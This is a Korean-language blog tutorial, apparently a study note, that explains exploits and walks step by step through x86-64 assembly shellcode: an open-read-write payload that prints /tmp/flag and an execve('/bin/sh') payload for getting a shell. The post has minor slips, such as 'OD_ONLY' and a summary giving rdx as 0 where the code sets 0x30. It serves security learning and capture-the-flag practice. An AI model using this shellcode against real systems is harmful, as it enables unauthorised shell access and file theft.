1. 익스플로잇
해킹 분야에서 상대 시스템을 공격하는 것이다. 상대 시스템에 침투하여 시스템을 악용하는 해킹과 같다.
2. 셸코드
셸코드는 익스플로잇을 위해 제작된 어셈블리 코드 조각을 말한다. 셸을 획득하기 위한 목적으로 셸코드를 사용해서 셸이 접두사로 붙었다.
셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 따라 다르게 작성된다. 아키텍처 별로 자주 사용되는 셸코드를 모앗 공유하는 사이트가 있다. 하지만 최적의 셸코드는 일반적으로 직접 작성하는 것이 좋다.
3. orw 셸코드
orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드이다. 밑에 코드는 orw 셸코드를 C언어 형식의 의사코드로 표현한 것이다.
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
orw 셸코드를 작성하기 위해 알아야 하는 syscall 테이블은 시스템콜을 공부할 때 하였다.
syscall 테이블 참조 링크
1) int fd = open("/tmp/flag", RD_ONLY, NULL);
- 첫 번째로 "/tmp/flag"를 메모리에 위치시켜 준다.
=> 스택에 0x616c662f706d742f67(/tmp/flag)를 push한다. - rdi가 스택 맨위를 가리키도록 rsp를 rdi로 옮긴다.
- rsi는 OD_ONLY이므로 0이다.
- rdx는 NULL이므로 0이다.
- 마지막으로 rax는 open의 syscall 값인 0x02로 설정한다.
즉, open의 rax = 0x02, rdi = "/tmp/flag", rsi = 0, rdx = 0 으로 설정하면 된다.
push 0x67 # "g"
mov rax, 0x616c662f706d742f # "/tmp/fla"
push rax
mov rdi, rsp # rdi = "/tmp/flag"
xor rsi, rsi # rsi = 0 ; RD_ONLY
xor rdx, rdx # rdx = 0
mov rax, 2 # rax = 2 ; syscall_open
syscall # open("/tmp/flag",RD_ONLY,NULL)
2) read(fd, buf, 0x30);
syscall의 반환값은 rax로 저장된다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장된다.
- read의 rdi = fd 이므로, fd가 저장되어 있는 rax를 rdi에 대입한다.
- read에서 rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킨다.
=> 0x30만큼 읽을 것이기 때문에 rsi에 rsp-0x30을 대입한다. - rdx는 파일부터 읽어낼 데이터의 길이인 0x30을 대입한다.
- 마지막으로 rax는 read의 syscall 값인 0x00으로 설정한다.
즉, read의 rax = 0x00, rdi = fd, rsi = rsp-0x30, rdx = 0 으로 설정하면 된다.
mov rdi, rax # rdi = fd
mov rsi, rsp
sub rsi, 0x30 # rsi = rsp-0x30
mov rdx, 0x30 # rdx = 0x30
mov rax, 0x0 # rax = 0
syscall # read(fd, buf, 0x30)
3) write(1, buf, 0x30);
0 : stdin, 1 : stdout, 2 : stderr 이다.
- 출력은 stdout으로 할것이므로, rdi = 0x01을 설정한다.
- rsi와 rdx는 read에서 사용한 값을 그대로 사용하기 때문에 설정하지 않는다.
- 마지막으로 rax는 write의 syscall 값인 0x01로 설정한다.
mov rdi, 1 # rdi = 1
mov rax, 0x1 # rax = 1
syscall # write(fd, buf, 0x30)
4) 전체 orw 셸코드( 위 3가지를 합친 것이다.)
push 0x67 # "g"
mov rax, 0x616c662f706d742f # "/tmp/fla"
push rax
mov rdi, rsp # rdi = "/tmp/flag"
xor rsi, rsi # rsi = 0 ; RD_ONLY
xor rdx, rdx # rdx = 0
mov rax, 2 # rax = 2 ; syscall_open
syscall # open("/tmp/flag",RD_ONLY,NULL)
mov rdi, rax # rdi = fd
mov rsi, rsp
sub rsi, 0x30 # rsi = rsp-0x30
mov rdx, 0x30 # rdx = 0x30
mov rax, 0x0 # rax = 0
syscall # read(fd, buf, 0x30)
mov rdi, 1 # rdi = 1
mov rax, 0x1 # rax = 1
syscall # write(fd, buf, 0x30)
4. execve 셸코드
셸은 운영체제에 명령을 내리기 위해 사용되는 인터페이스이다. 셸을 획득하면 시스템을 제어할 수 있게 되므로 셸 획득을 시스템 해킹의 성공으로 여긴다. execve 셸코드는 임의의 프로그램을 실행하는 셸코드이다. 이를 이용하면 서버의 셸을 획득할 수 있다.
1) execve("/bin/sh",null,null)
- "/bin/sh"를 메모리에 위치시켜 준다.
=> 스택에 0x68732f6e69622f(/bin/sh)를 push한다. - rdi가 스택 맨위를 가리키도록 rsp를 rdi로 옮긴다.
- rsi는 실행파일에 넘겨줄 인자, rdx는 환경변수인데 전부 0으로 설정해줘도 된다.
- rax는 execve의 syscall 값인 0x3b로 설정한다.
mov rax, 0x68732f6e69622f #"/bin/sh"
push rax
mov rdi, rsp # rdi = "/bin/sh\x00"
xor rsi, rsi # rsi = NULL
xor rdx, rdx # rdx = NULL
mov rax, 0x3b # rax = 0x3b
syscall # execve("/bin/sh", null, null)
'개념정리 > System Hacking' 카테고리의 다른 글
[System Hacking] Stack Buffer Overflow (0) | 2022.08.09 |
---|---|
[System Hacking] 함수 호출 규약 (0) | 2022.08.09 |
6. pwntools (0) | 2022.08.01 |
5. gdb 디버거 (0) | 2022.07.21 |
4-2. 어셈블리(Assembly) - 스택, 프로시저, 시스템콜 (0) | 2022.07.07 |